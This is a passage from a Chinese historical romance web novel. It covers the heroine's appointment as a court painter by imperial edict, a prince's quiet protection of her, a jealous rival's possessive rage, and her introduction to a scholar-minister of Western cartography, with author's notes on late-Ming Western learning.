去赴某个雅集,或是被皇上召见。可一天过去,两天过去,三天了。长安随他一同离去,竟也没传回只字片语。 他从未这样不声不响地离开过。 宁王府内,人心惶惶。 下人们依旧恭敬地称她周姑娘,为她布菜, 替她添衣,可那眼神里, 分明藏着与她同样的不安。 而这不安, 在府外滔天流言的映衬下,被放大了十倍,百倍。 “不必在意流言。” 他走之前最后一次见她时, 脸上没什么表情。现在想来,那语气太平静, 平静得近乎疏离。是不是他早就料到会有今日,所以连安慰都显得敷衍? 她想去瀚海楼寻本书静心, 指尖拂过书架,拿起一本画册, 却停在曾被他翻开过的那一页。 耳边似还有他低低的评点,如今空余纸香。 她想在庭院里走走,看着那日共伞走过的回廊, 雨水早已干透,只剩下空寂。 甚至只是端起一碗茶,都会想起他递来温水时,那双骨节分明的手。 心口像是被什么东西慢慢掏空。 瀚海楼里,她差点从梯子上摔下来,他伸手扶住,当时她慌得抱住他,如今回想当日种种,那不过是君子之仁,换了谁他都会扶一把。 难道她会因为这点援手就心生妄想么? 暖阁内,她烧得糊涂,抓着他的手不肯放,他就真的在床边坐了一夜。 现在想来,那或许只是他教养太好,不忍推开一个病人。 是她自己太贪心了,贪图那点温暖,就把别人的怜悯当作了特殊。 是她误解了他的善意,将上位者随手的恩赏,当作了情意。 外头的风言风语一阵阵地往耳朵里钻。 勾引兄长,烟花之地,狐媚手段…每一个字都像针,扎得她坐立难安。更让她难受的是府里下人们的眼神,不是怨恨,而是那种欲言又止的担忧。 李管事额角的伤,陈嫂哭红的眼睛,都成了压在她心上的石头。 她这样的人,果然只会给旁人带来不幸。 茶杯在手里转了又转,凉透的茶水晃出细碎的波纹。就像她此刻的心,再也漾不起半点暖意。 他定是厌烦了。 厌烦这些没完没了的流言,厌烦她带来的麻烦,厌烦这个甩不掉的包袱。所以选择一走了之,用最体面的方式告诉她——到此为止。 原来云泥之别,从来都不是说说而已。 周妙雅只是没想到,当这一天真的来临时,心会疼得这样厉害。 周妙雅起身去了耳房,又看了看白芷。 白芷躺在床上,比前两日更瘦了些,颧骨高高凸起,眼窝深陷。 她没睡,眼睛直勾勾地盯着房梁,嘴唇无声地翕动着,偶尔发出一两个模糊的音节,谁也听不清是什么。 周妙雅走过去,坐在床边,拿起温热的布巾,想替她擦擦手。 白芷却像是被惊扰了,猛地一颤,手臂胡乱挥舞起来,眼神惊恐地聚焦在周妙雅脸上,却又像是透过她看到了别的什么可怕的东西。 “别…别过来!大爷…奴婢错了!奴婢再也不敢了!”她尖叫着,声音嘶哑,身体拼命往床里缩,撞得床板咚咚响。 周妙雅的手僵在半空,心口像是被狠狠扎了一刀,又闷又痛。 她看着白芷这副模样,最后一点支撑似乎也垮了。 连白芷都认不出她了,这个唯一知晓她过往艰辛,与她相依为命的人,如今神智破碎,被困在无尽的恐惧里,给不了她任何慰藉,甚至…连一个清醒的眼神都吝于给予。 她留在这里,还有什么意义? 外面是恨不得将她生吞活剥的流言,府内是因她而惶惶不安,甚至遭受不公的下人。而那个唯一能在这风暴中为她撑起一片天地的人,也消失不见了。 或许,她真的该走了。 这个念头清晰地浮现在脑海里,带着一种冰冷的决绝。 可是,去哪呢? 天下之大,竟无她立锥之地。 留在这里,只会拖累更多人,也让那个消失的人…更难堪。 她转身,慢慢走回暖阁。 坐在梳妆台前,她看着镜中那张苍白却依旧难掩殊色的脸。就是这张脸,惹来了文毓瑾的觊觎,引来了康婧瑶的嫉恨,如今,又成了摧毁宁王清誉的利器。 她拉开抽屉,里面放着一些散碎银两和几件不算值钱的首饰,是当初文老太太私下塞给她的体己。还有那枚刻着周字的玉佩,冰凉地躺在那儿,像一个无解的谜题。 她能带走的东西,少得可怜。 少得可怜也得收拾,她强撑着起身,拿来一块锦布,开始收拾起自己的行囊。 她将那几件素色衣裙叠好,又拿起那枚冰凉玉佩。指尖触到周字刻痕时,门外忽地传来急促的脚步声,青黛几乎是跌进来,鬓发乱扑,胸口起伏得喘不过气: “姑娘!姑娘!快,快去前厅!宫里来人了,捧着明黄的绢帛,让府里所有人都去前厅,点名…点名要姑娘去接圣旨!” 圣旨? 周妙雅心头猛地一跳,匪夷所思。她一个无名无分,此刻更是声名狼藉的孤女,何德何能劳动宫中降旨?难道是…流言已经上达天听,这是问罪的旨意? 心沉了下去,手脚也有些发凉。但圣旨不容怠慢,她深吸一口气,将玉佩紧紧攥在手心,理了理微皱的衣襟,对青黛道:“走。” 前厅里,长史和典簿带着宁王府所有有头有脸的仆从都已按品级跪好,鸦雀无声,气氛凝重得能拧出水来。厅中站着一位面白无须,身着贴里的内侍,神色肃穆,手中恭敬地捧着一卷明黄色的圣旨。 周妙雅走到最前面,依礼跪下,垂着头,她能感觉到身后无数道目光钉在自己背上,充满了惊疑与揣测。 那内侍展开圣旨,尖细而清晰的声音在寂静的厅堂中回荡: “奉天承运皇帝诏曰:朕闻苏州周氏女妙雅,性敏慧,通诗书,尤擅丹青,笔法精妙,深得文脉真传,才情卓绝,世所罕见。今特赐封为宁王府司画女官,秩正六品,掌王府书画鉴藏,修缮之事。另,朕感其才德,特亲书天下第一才女匾额,赐予周氏,以彰其才,以正其名,望尔恪尽职守,不负朕望。钦此——” 圣旨念完,前厅里静得落针可闻。 所有人都愣住了,包括周妙雅自己。 不是问罪,而是封官,赏赐,还是…天下第一才女? 她几乎以为自己听错了,直到那内侍合上圣旨,微微躬身,客气地说道:“周女官,接旨吧。” 周妙雅恍恍惚惚地抬起双手,接过那沉甸甸的,象征着无上荣光的绢帛。指尖触到冰凉的丝绸,她才猛地回过神。 “民…民女谢陛下隆恩。”她伏下身,声音中还带着一丝掩不住的颤。 那内侍脸上露出笑意,侧身示意身后的小太监将那块覆着红绸的匾额抬上来:“陛下亲笔,可是莫大的荣耀。说来也巧,前儿个圣上起了兴致去西山 围猎,宁王殿下连着三日都随侍在侧,鞍前马后,陛下甚是开怀…这不,猎罢回宫,便有了这道恩旨。” 他话说到此,便不再多言,仿佛只是随口一提圣驾行围的琐事。 王爷…陪圣上打了三天的猎?日夜侍奉在侧? 周妙雅的心口像是被一双看不见的手死死攥紧。 原来他消失的三天,不是厌弃,不是躲避,而是在天子身边,是在那样亲近随性的场合… 他这三天,哪里是消失?他是在为她,去争来了这柄最锋利的尚方宝剑,用圣旨,去堵天下人的嘴。 那内侍宣了圣旨,便离去了,只留下宁王府众人在前厅面面相觑。 青黛在一旁,已经喜极而泣,她扶着周妙雅的手,言语中带着骄傲和激动:“姑娘…不,是女官大人,是陛下,陛下为您正名了!” 周妙雅死死握着那卷圣旨,感觉它烫得灼手。 流言说她勾引成性,沦落风尘,圣旨便封她为凭才学立足的司画女官。 流言将她踩入泥沼,圣旨便将她捧上天下第一才女的神坛。 这哪里是简单的封赏?这分明是一场…最强势,最不容置疑的反击。 而那个消失了三天的人… 她看着手中明黄的绢帛,仿佛能透过它,看到那个在圣上身边鞍前马后斡旋的身影。他那些看似冰冷的安慰,他离去时的决绝,原来…都不是放弃。 陈嫂用袖子用力抹着眼睛,挤上前来,声音还带着哭腔,却满是扬眉吐气的喜悦:“女官大人,这下好了,看外头那些烂了舌头的还敢胡说。咱们王府,咱们姑娘,是得了圣心的!” 连一向沉稳的李管事,也忍不住红了眼眶,他挺直了这些天因流言而微驼的背,对着周妙雅深深一揖:“恭喜女官大人,王爷…王爷他…” 他声音哽咽,后面的话没能说出来,但那意思,所有人都懂了。 下人们纷纷围拢过来,你一言我一语,脸上是这三天来从未有过的轻松与振奋。他们看着周妙雅手中那卷圣旨,看着那块覆盖着红绸,象征着无上荣光的御笔匾额,仿佛这些日子受的所有委屈和白眼,都在这一刻被彻底洗刷。 周妙雅看着眼前欢欣鼓舞的众人,看着他们眼中重新燃起的光,忽然觉得手中的圣旨重逾千斤。 她深吸一口气,强迫自己从翻涌的情绪中定下心神,对李管事说道:“有劳李管事了,这匾额…便挂在厅堂正门之上吧。”—— 作者有话说:这章写的我超级超级感动,之前看几次都看哭了[可怜] 第32章 圣旨颁下后的宁王府, 像是久旱逢了甘霖,连带着秋日都明亮了几分。 御赐天下第一才女的额匾高悬正厅,映的连日的污糟尽成笑谈。 下人们走路带风, 腰杆挺得笔直, 那御赐的额匾也替他们撑起了体面。 周妙雅换上了一身新裁的官服, 正在书房里整理书画卷轴,她此刻心境与三日前已截然不同。 从前文家的正厅之上,有一块御赐的天下文脉额匾,那是她此生最敬重的祖父,靠自己文坛泰斗的才学换来的。 她不敢与祖父比肩才学,但心中却翻涌着无比的暖意。 想到这里,周妙雅垂眸, 看着朱弘毅书房桌案上放着的那些他们一同品评过的画作,指尖轻轻拂过, 她感受到的不再是空寂, 而是一种沉甸甸的踏实感。 外面隐约传来一阵不同寻常的动静,马蹄声,脚步声, 还有下人们带着喜悦的喧哗声。 她的心瞬间被猛地攥紧,随即如擂鼓般咚咚乱撞, 纤细的手指下意识地按在了一卷画轴上,指尖微微发凉。 她没有动, 也没有像青黛那样急切地探头出去张望,只是立在原地, 听着那脚步声由远及近,沉稳,笃定, 一步步,踏过庭院,踏过回廊,最终停在了书房门外。 只听得“吱呀”一声… 门被推开,秋阳挟着光斑涌了进来。 朱弘毅立在光中,阳光在他身上镀了一层薄金。他一身墨色骑射服还未换下,衣摆处沾着些许尘土,袖口束紧,带着风尘仆仆的凛冽气息。 他脸上没什么表情,目光沉静如昔,直直地落在她身上。 周妙雅睫羽微颤,垂下眼,避开了那过于直接的注视,却见他手里托着一只细长的锦盒。 “下官周妙雅,拜见王爷。” 她用的是官称,行的是官礼,把满腔翻涌的感激,愧疚,还有一丝道不明的复杂情愫,一并死死压进这疏离的规矩里。 “起来吧。”朱弘毅的声音有些沙哑,带着连日劳顿的疲惫。 周妙雅直起身,依旧微垂着头。 “陛下的恩旨,收到了?”他语气寻常,仿佛是在问今日的天气如何。 “是。” 周妙雅应道,手指无意识地蜷缩了一下:“多谢…王爷成全。” 这一声谢,几乎耗尽她全部的力气,她比谁都清楚,若无他在御前周旋,这道圣旨绝不会来。 朱弘毅的目光掠过她微微颤抖的指尖,重新落回她竭力强做镇定的脸上。 “本王不过是陪圣上狩猎,尽了臣子本分。” 他语气平淡,将三日奔波,苦心筹谋轻描淡写地带过:“是你的才学,当得起这份荣耀。” 他说得那样理所当然,仿佛她受封女官,得赐匾额,本就是水到渠成之事,与他并无多大干系。 周妙雅终于抬起头,看向他。 目光交错,他也正看着她。 秋阳在他侧脸投下光影,那双深沉的眸子里映着她的身影,专注,审视,又带着极淡的温和。 这一刻,她忽然清晰地意识到,他以他的方式,给了她最彻底的尊重。 他是宁王,当今圣上的亲弟弟,若他愿意,大可以比文毓瑾做得更决绝。 文毓瑾只想逼她为妾,将她锁在内宅。而朱弘毅,明明手握更大的权柄,却选择了最难的一条路,他让皇兄下旨,不是纳她入府,而是封她为官,他承认了她的才华,给了她一个能挺直腰杆立于人前的身份。 这份用心,比任何庇护都更珍贵。 阳光撒进书房内,两人静静对视着,时间仿若静止。 虽什么都没说,却有一种心照不宣的默契。 良久,朱弘毅率先打破了平静:“顺路,便取回来了。” 说罢,他将手中的锦盒递了出来。 周妙雅微怔,双手接过。 锦盒入手微沉,她轻轻打开。 里面静静躺着一卷画轴。 当她展开画轴时,整个人都僵住了。 是那幅她以为早已丢失的《共伞图》… 细雨如丝,青竹伞下,她望向他的背影朦胧美好。 但不同的是,画作已被精心装裱,用的是上等的云纹绫绢,裱工精湛无比,右下角还钤着一方小小的收藏印。 周妙雅一眼便认出,那是宁王收藏珍品,孤本时才会盖的印章。 她记得清清楚楚,那日她画完这幅画,因着羞怯将它藏在了一叠书中。 后来遍寻不着,只当是丢了,为此还暗自神伤了许久,却不想,竟会在他这里见到,而且还是以这样郑重其事的方式。 “这画” 她声音微颤:“怎么会在王爷这里?” “在府里找到的。” 他语气平淡:“不懂事的下人手脚不干净,欲要偷拿出去,正巧被本王撞见,就拿回来了。” 他说得轻描淡写。 可周妙雅分明记得,这幅画丢失已经有些时日了,他是什么时候找到的?又是何时特意寻了装裱师傅,将它装帧得如此精美? 想到这里,她的脸不自觉地唰地一下红透了。她捧着画轴的手微微发抖,羞得几乎要抬不起头。 这幅画里藏着她最隐秘的心事,那日雨中他倾斜的伞,他护着她的手臂,还有她心中那份不敢言说的悸动。 如今这一切,都被他看见了。 “我…我去看看白芷的药煎得如何了!” 她几乎是慌乱地将画轴塞回锦盒,也顾不上什么官仪礼数,转身便往外走,脚步凌乱得差点被自己的裙摆绊倒。 直到冲出书房,跑到回廊下,秋日的凉风吹过,脸上灼人的热度才稍稍褪去些许,但心却依旧跳得像要挣脱胸膛。 “姑娘,您怎么了?脸这么红,可 是不舒服?“青黛从后面跟上来,见她这般模样,关切地问道。 周妙雅摇了摇头,犹豫片刻,还是低声问道:“青黛,你可知…王爷是怎么找到那幅画的?” 她顿了顿,声音更低了:“就是…我画的那幅…伞…” 青黛眨了眨眼,疑惑不解地问道:“姑娘说的是哪幅画啊?什么伞啊的?奴婢没见过那幅画啊…,不过奴婢可以去问问长安哥,他肯定清楚!” 周妙雅轻轻点了点头。 青黛得了示意,立刻提着裙子快步往前院去了。不过一刻钟功夫,她便回来了,脸上带着压抑不住的兴奋与惊叹。 “姑娘,问清楚了。” 青黛凑到周妙雅耳边,声音虽低,却绘声绘色:“姑娘可还记得,前些日子,京城突然传闻文老太爷的遗作现世了吗?那是因为,府里有人偷了姑娘的画拿到琉璃厂的汲古斋去卖。那些夫子们,是把姑娘的画当成了文老太爷的遗作,只是没想到这其中居然还有姑娘那幅《共伞图》。” 周妙雅心头一紧。 青黛继续道:“王爷为了搞清楚事情的真相,那日带着书画行的行首姚老先生也去了汲古斋,更巧的是,文家那两位公子也去了。文二公子嚷嚷着要烧画,文大公子…” 青黛撇撇嘴:“他竟以为姑娘画的是他,厚着脸皮非要买下那幅《共伞图》。” 周妙雅愕然抬头,文毓瑾…他怎么会… “然后呢?”她忍不住追问。 “然后咱们王爷就出面了呀!” 青黛说得眉飞色舞:“王爷当时虽没亮身份,可那气度,愣是没让文大公子占了半分便宜。文大公子非要强买,王爷就直接对掌柜的出价。” 青黛伸出五个手指,压低声音,带着难以置信的语气:“五百两!整整五百两银子!就为了买下姑娘您这幅画!” 五百两? 周妙雅倒吸一口凉气,震惊得说不出话来。一幅她随性而作,从未想过示人的小画,竟值得他花费五百两巨资?还是在与文毓瑾对峙的情况下… “文大公子当时脸都青了,可又拿不出更多银子,只好灰溜溜地走了。” 青黛说完,眼睛亮晶晶地看着周妙雅:“姑娘,王爷他…他这分明是把您的画看得比什么都重啊。” 周妙雅怔在原地,心潮澎湃。 原来,在她不知道的时候,他曾为了守护她这点微不足道的心事,一掷千金,与人相争。 这不只是简单地找回失物,而是从另一个想要染指她心意的人手中,将她最珍贵的东西夺了回来,然后默默珍藏,直到此刻,才用这样一种云淡风轻的方式,归还于她。 这份深藏的维护与珍视,比任何直白的情话都更让她心动神摇。 脸上刚褪下去的热度,又悄然爬了上来。只是这一次,那羞涩之中,更多了几分难以言喻的、甜丝丝的暖意。 ————— 书房内,朱弘毅负手立于窗前,他刚刚看着那抹仓促逃离的身影消失在月洞门外,唇角缓缓勾起一抹清浅的弧度。 他自然看得出她的羞窘,也猜得到她此刻的心潮起伏。 那日在汲古斋与文毓瑾的对峙,与其说是争画,不如说是宣告,宣告这幅画,连同作画之人,都归他朱弘毅所有,不容他人觊觎。 五百两银子算什么?若能护住她笔下那一方晴雨,护住她小心翼翼捧出的真心,便是五千两,五万两,他也觉得值得。 她看懂了。 看懂了他找回画作的用心,看懂了他精心装裱的珍视,更看懂了…他借此传递的心意。否则,她方才不会羞成那般模样,像只受惊的兔子,慌乱地逃开。 他抬手,从怀中取出那枚她送他的,他珍藏了许久的荷包,指腹掠过荷包上那歪斜的针脚。 眼前忽然浮现出她方才的模样,一身新裁的女官官服,领口束得严整,耳尖却透出薄红,明明羞涩难当,偏要板板正正地行礼,嘴里称着下官,声音轻得几乎能听见心跳。 倔强,又可爱得紧。 “司画女官…”他低声重复了一遍这个新赐的封号,眼底的笑意更深了几分。 第33章 文府, 书房。 文毓瑾把自己关在这里已一天一夜。 康婧瑶派李嬷嬷来探了三次,皆被守在门口的小厮挡了回去。小厮低垂着头,声音发紧:“大爷吩咐了, 谁也不见。” 书房中未点灯, 浓黑如墨, 死一般的寂静下,只剩文毓瑾粗重的呼吸声。 他坐在黄花梨木大案后,手指紧紧抠住案沿,指甲与木头摩擦,发出刺耳的刮擦声。 案上,那卷被他珍藏多年的画,缓缓摊开。 江南春色, 烟雨朦胧,笔触间带着少女的青涩, 但灵秀之气却已扑面而来。 这是周妙雅十六岁那年画的, 他记得很清楚,那天她穿着鹅黄的衫子,坐在文府后花园的石凳上, 微微蹙着眉,专注地画着园里的春景。 他站在廊下看了她很久, 然后走过去,以指点为名, 很自然地在她身旁坐下,见四下无人, 便顺势揽住了她。她在他怀里像受惊的小鹿般颤颤地挣扎着,却因被他禁锢没办法挣脱。 他喜欢看她惊惧却又逃不掉的模样,那让他觉得自己完全掌控着她, 就像被关在笼中的雀鸟,翅膀扑扇不停,却飞不出掌心。 一个无依无靠的孤女,除了依附文家,依附他,还能有什么出路? 他不过略施小计,便将这幅画强行留在了他这里。 “司画女官…” 黑暗中,他仿佛看见周妙雅那副惊怯柔弱,我见犹怜的模样,款步向他走来。 他对着黑暗中那道模糊的身影,哑声地吐出了几个字:“正六品…天下第一才女…” 眼前又浮出那日在汲古斋,朱弘毅那张淡漠的脸,和他轻飘飘掷下的五百两银子。 那时他尚不知,这位便是赫赫有名的宁王殿下,只当又是一位如苏州那李公子般的狂蜂浪蝶,是被周妙雅招来的纨绔子弟。 那五百两,不只是钱,更是居高临下的彻骨蔑视。 而今这道圣旨,更是将那个曾被他视为囊中之物的女人,抬至到了一个他难以企及的高度,她再不是文家那个可以任人拿捏的表姑娘,而是陛下亲封的女官,是宁王府的人。 暴戾的怒火在一瞬间骤然窜上头顶,他伸手,攥住了那幅画的边缘。 “刺啦——” 上好的宣纸在死寂中裂成两半,他看着那片她精心晕染的江南春景,从中间被撕开,一股扭曲的快意混着更深的剧痛,席卷而来。 他死死盯着那裂缝,眼底泛着猩红:“我得不到的,谁也别想得到!” 他猛地将手中的碎纸狠狠砸向地面,霍然起身,在黑暗的房间中来回踱步。 从来没有人,能从文毓瑾手里抢走东西,何况是他早已刻上私有二字的东西。 他对着那片黑暗,一字一顿地低语,声线癫狂,带着执念:“你们给我等着…周妙雅,你是我的…只能是我的…” ————— 宁王府,瀚海楼。 周妙雅面前堆着小山般的卷轴。 空气中飘着防蛀的芸草香和淡淡的墨香。 她正忙着核对一本前朝画册目录,指尖沿着书目一行行划过,不时用笔在旁边做出标记。 青黛端着一盏新沏的茶进来,轻轻放在案侧:“姑娘,歇会儿吧,您这都看了一天了。” 周妙雅只低低嗯了一声,头也没抬,目光仍黏在书页上:“西边架子上那套《十竹斋画谱》,替我取下,我核点完这批便去用膳。” 青黛嘟了嘟嘴:“王爷晌午还问起您呢,说您都好几日没去园子里 走走了,还说…说您这几日怕是连王府的花园朝哪边开都忘了。” 周妙雅这才略微抬了抬眼,窗外天色已是灰蓝一片。 她揉了揉酸胀的太阳穴,声音带着略微的疲倦:“司画女官职责所在,这满瀚海楼的册目尚未理清,理清之后还需刊印成册,医理亦待通读,劳你回禀王爷,下官实难抽身。” 说罢,她复又低下头,拿起那本未核对完的前朝画册,指尖顺着文字一行行仔细研读,眉头微微蹙起,完全沉浸其中。 青黛看着她忙碌又沉浸的样子,撇了撇嘴,只得把劝说的话咽了回去,悄声掩门退了出去。 又过了约莫一炷香的时间,沉稳的脚步声自身后而来,止于长案前不远处。 周妙雅毫无所觉。 她刚刚核对完画册,此刻正专注地读一本医书。她连日以来皆是如此,白天尽职尽责地完成女官分内的工作,晚上秉烛研读医书,连饭都顾不得吃上口热乎的。 她此刻正对着一处关于心神耗损导致脉象虚浮的论述凝神思索,联想到祖母病发前的种种细微征兆,指尖无意识地划动着纸页。 朱弘毅站在那里,玄色的衣袍几乎隐没在书架投下的阴影中。 他静静地望着她,看着她低垂的,线条优美的脖颈,看着她紧抿的、没什么血色的唇,看着她专注到完全忽略外界存在的孤影。 他来了有一会儿了。 从她举杯吹雾,到此刻俯首研医,她始终未曾抬眸,仿佛他这个人,连同这整座瀚海楼,都不及她面前那些故纸堆重要。 静到极处,只闻她指尖翻动书页的声音,和他自己细微的呼吸声。 他终于动了。 脚步声靠近,阴影笼罩了周妙雅面前的书案。她这才恍然惊觉,猛地抬起头,撞进了朱弘毅深邃的目光。 她脸上掠过一丝仓促,放下笔,站起身就要行礼:“王爷…” “不必了。”朱弘毅打断她,声音平静。 他的视线扫过案上泾渭分明的两堆东西,一半是画册,一半是医书。他目光在那两堆书上停留了一瞬,又落回她脸上:“这些东西,一时半刻看不完。” 周妙雅垂下眼睫:“下官知道,只是职责所在,不敢懈怠。且…医理一途,关乎祖母性命,更需尽早…” “本王说了…” 朱弘毅再次打断她,不容转圜道:“这些东西,一时半刻看不完。” 周妙雅一怔,抬眼看他。 他目光沉静,威仪自成:“明日,休沐一日。” “王爷,”周妙雅下意识地拒绝,语气带着恳切:“下官真的…” “明日,休沐一日。”朱弘毅重复了一遍,字句清晰,没有任何转圜的余地。 他语气坚决,态度强硬,将周妙雅所有推拒的话都堵在了喉咙里。 她望向他那张波澜不兴的脸,知道他已做了决定,再无回旋的余地,只得抿唇垂首,低声应道:“…是。” 朱弘毅不再多言,转身即去,直到他的脚步声消失在楼梯口,周妙雅方才缓缓吐出一口气,重新坐回椅子上。 她看着案头堆积如山的卷册,又想起他方才那冷硬的语气,心里一时五味杂陈。 她抬手揉了揉眉心,终是低叹一声,将案上最紧要的几册提到手边。 至少得先批完这几行,再休沐不迟。 ————— 次日休沐,周妙雅早早便起来开始梳妆,她褪去官服,换上了一件淡粉色的立领斜襟长衫,长衫下露出一截苏绣马面裙,裙襕处疏绣了几丛兰草,针脚细如春雾,一看便是江南的苏样。 朱弘毅也没跟她说今日要去哪,只是让她好生打扮。 长安在院门外候着,见她出来,垂首行礼:“姑娘,车备好了。” 她轻提裙角,扶着青黛的手上了马车。帘帷落下,车厢里熏着淡淡的茉莉花香,正是她平日里最爱的气息。 帘角被风带起,朱弘毅俯身而入。他今日着一身沉香色的道袍映着金边白护领,比平日少了几分威仪,更添了几分世家公子的清贵。 他在她对面坐下,目光在她身上停留了一瞬,忽然开口:“今日这身衣服,很适合你。” 周妙雅微微一怔,忙垂首掩住颊边染上的一抹绯红。 马车在川流不息的人群中穿行,叫卖声,车马声透过车帘隐约传来。她安静地坐着,却分明感到他深沉的目光仍落在自己身上,灼而不退。 不知过了多久,马车缓缓停下。长安在外禀报:“王爷,姑娘,徐府到了。” 周妙雅讶然抬眸,恰撞上朱弘毅静若深潭的目光。 他先一步下车,回身向她伸出手。她指尖微颤,轻覆于他掌心,被他稳稳扶下马车。 徐府隐于城西僻巷,青砖门楼素朴无华,惟门口两株老松透着一股沉静之气。 开门的是个白发苍苍的老仆,他见到朱弘毅,像是见到常来的自家子侄,脸上露出朴实的笑容:“王爷来了,老爷在书房呢。” 周妙雅疑惑望向朱弘毅,朱弘毅仿佛洞悉到了她的疑惑,含笑低语道:“内阁次辅,徐明阳,我在宫里的时候,他是我的老师,整日之乎者也的讲的我头疼。” 引路的仆人话不多,脚步轻快。穿过几进院落,周妙雅发现徐府不似别的官员府邸那般讲究亭台楼阁,反而种着些瓜果蔬菜。墙角堆着几个奇怪的木制器械,周妙雅多看了一眼,像是用于测量的器具。 徐明阳没在正堂等候,而是在他的书房外间。这里更像一个堆满了书籍和杂物的工坊。四壁书架顶天立地,塞满了书,地上也散放着卷轴,木匠工具,以及一些她叫不出名字的金属零件。 徐阁老本人正俯身在一张巨大的桌案前,案上摊着一幅巨大的地图。他穿着半旧的深色直裰,袖口沾着一点墨渍,听到脚步声抬起头,脸上戴着水晶片制成的叆叇,架在鼻梁上。 “宁王殿下来了。” 他取下鼻梁上的叆叇,揉了揉眉心,目光随之落在周妙雅身上,温和地笑了笑:“这位便是圣上亲封的天下第一才女,周女官?不必拘礼,老夫此处无甚规矩。” 那目光澄澈而专注,只含治学之人纯粹的探究,没有丝毫对于她身份,容貌或过往的打量,周妙雅紧绷的神经不自觉地松弛了许多。 朱弘毅自顾自地在旁边一张铺着软垫的椅子上坐下,指了指桌案上几个红艳艳的果子:“徐师傅,这就是你上次说的番茄?” “对,是艾儒略神父带来的种子,说是他们西洋的蔬果,生熟皆可食。老夫试着种了一下,还真种出来了,别说,这果子的滋味颇为别致。” 徐明阳拿起一颗,递给周妙雅:“周女官也尝尝看,味道有些特别。” 周妙雅看去,那果子形似苹果,颜色却朱红鲜亮,是她从未见过的。 她依言接过,触手微凉光滑,她小心地咬了一小口,果皮破裂,清甜的汁水伴着微酸的果肉在口中化开,是一种陌生又清爽的滋味。 “味道如何?”徐明阳饶有兴致地问。 “初尝清甜,细品微酸,汁水充沛。”周妙雅如实回答。 徐明阳哈哈一笑,对朱弘毅道:“比你会品,你头回见时,还疑心这颜色是否含有剧毒。”—— 作者有话说:啦啦啦!!老徐正式出场了!!大家猜猜老徐的历史原型是谁? 铛铛铛,西学东渐正式亮相。 晚明西学东渐是中国历史上第一次系统接触近代欧洲科学文化的浪潮,时间大致在明万历至崇祯年间。 1570年代隆庆开关解除海禁,广州—澳门—果阿—里斯本航线畅通,欧洲耶稣会士得以借澳门进入内地;同一时期欧洲正经历科学革命,哥白尼、伽利略、克拉维乌斯等人的著作已成熟,为传教士提供了学术传教的工具。 利玛窦、邓玉函、阳玛诺等耶稣会士,在澳门学汉语→改儒服→北上南昌、南京、北京,走上层路线结交士大夫,再通过刊刻、进呈御览等方式把西学书籍送入宫廷与士林。 第34章 朱弘毅未置可否, 只端起下人刚刚奉上的新茶,抿了一口。 徐明阳的注意力很快又回到了那张巨大的地图上。 他指 着图上纵横交错的线条与那些陌生的地名,对周妙雅说道:“这是艾神父带来的《坤舆万国全图》摹本, 老夫正在根据新得到的数据进行校正, 周女官请看这里。” 他将指尖悬驻于一片巨大的水域之上, 缓缓道来:“西洋人称之为太平洋,若孤帆横渡,需要数年之久…” 他说罢抬眼,见周妙雅听的认真细致,便起了兴致,一口气又讲了很多事情。 他语速不快,但逻辑清晰, 耐心讲述了如何通过观测星辰的位置来确定经纬,如何校验地图上海岸线的轮廓, 如何翻译《几何原本》中那些关于点, 线,面的概念。 他甚至提到了一些周妙雅从来没听过的理念,比如什么是几何, 什么是实证,逻辑等等, 他亦提到了天地之广袤,非井蛙可窥的道理。 周妙雅屏息静听。 她此生还从未听过这样的言论… 在她过去的认知中, 学问关乎诸子百家,关乎经史子集。 这还是她生平第一次, 听到有人将学问二字,直接指向头顶上的星空与从未踏足过的广袤未知。 她凝望这位当朝次辅,发现他谈论这些学问时眉宇间的炽热与专注, 竟与她记忆深处,祖父文敬远对着一幅古画凝神揣摩时的样子悄然重叠,那是一种摒除了世俗功利,对理与真最纯粹的追求。 朱弘毅坐在一旁,很少插话,只是偶尔在徐明阳提到某些未知的概念时,会简短地问上一两句。 显然,他对这一套新奇的学问并不陌生。 “艾神父精于数理,于丹青一道却非所长。宫中画师,技法娴熟,却难以理解这舆图背后的数理之妙,绘制起来总有偏差。” 徐明阳说罢,目光灼灼落在周妙雅身上:“老夫听闻,周女官深得文老笔墨真传,丹青山水尤为精湛。不知女官可愿闲暇时,常来老夫这杂乱之地,助老夫将星罗经纬,海廓陆界,画成一幅更精准的《坤舆万国全图》?” 他顿了顿,声音沉稳而有力:“若能让我大晟的有志之士,得见寰宇之真容,岂非功德一件?” 周妙雅的心猛地跳了一下。 绘制万国全图?这绝非她所理解的任何绘画。 它需要精确,需要理解那些陌生的数理概念,这完全超出了她以往的认知。 她下意识地望向朱弘毅。 朱弘毅放下茶盏,目光平静:“徐师是认真的,此事无关朝局,只关学问。” 周妙雅收回视线,看向徐明阳。 她窥见老人眼底澄澈,无关试探,无关权谋,唯有对学问的赤诚与得觅同道的欣慰。 她沉默了片刻,敛袖起身,向着徐明阳,恭恭敬敬地行了一个弟子礼。 “徐公信重,妙雅必倾尽全力。” 徐明阳朗声连笑,眉目舒展,连声道:“好!好!” 离开徐府时,已是夕阳西下。 马车辘辘行驶在渐暗的街道上,车厢内寂然无声。 周妙雅倚窗凝望,见街巷灯火次第亮起,脑海中还在翻涌着徐明阳口中的星辰,大海与陌生国度,只觉心门被悄然推开,风自万里而来。 一直闭目养神的朱弘毅忽然开口,声音在狭暗的车厢中分外清晰: “徐师傅是真心做学问的人。” 他顿了顿,似随口提起:“他年轻时,于经史子集,天文历法,农工水利,无一不精,却唯独不爱钻营仕途,不愿曲意逢迎。” 周妙雅转过头,看向他。 “天下第一才女的名头是好,但若想在这条路上行得更远,窥得更深,终究需要一位真正的好老师。” 他的话点到即止,没有再往下说。 周妙雅却听懂了,他带她来见徐明阳,不仅仅是为了让她散心。 他是要将她引荐到一条更为开阔的道路上,一条能让她超越才女虚名,凭得真才实学立足,得展毕生所长的路。 徐明阳,便是他亲手为她择定的那位好老师。 她沉默了片刻,望着窗外最后一抹天光被夜色吞没,轻轻应了一声: “是,下官明白了。” ———— 中秋这日,宁王府中悬灯高挂,下人们往来穿梭,笑语在桂香中浮动。 然而外面的喧嚣似与瀚海楼无涉。 周妙雅依旧埋首在书案间,直到日头西沉,青黛进来掌灯,她才恍然惊觉,已是傍晚。 她搁下笔,静静坐了片刻,忽然对青黛道:“去厨房传个话,今晚我要另备一桌席面,摆在听风阁的水榭里。” 青黛听罢,眸子骤然一亮:“姑娘是要…请王爷赏月?” 周妙雅没答,只叮嘱道:“菜要清爽些,再备一壶金华酒。” 水榭临水而建,四面轩敞,是赏月的极佳处。当朱弘毅被长安引至此处时,只见榭中已摆好一桌精致小菜,碗碟素净,酒壶温在热水里。 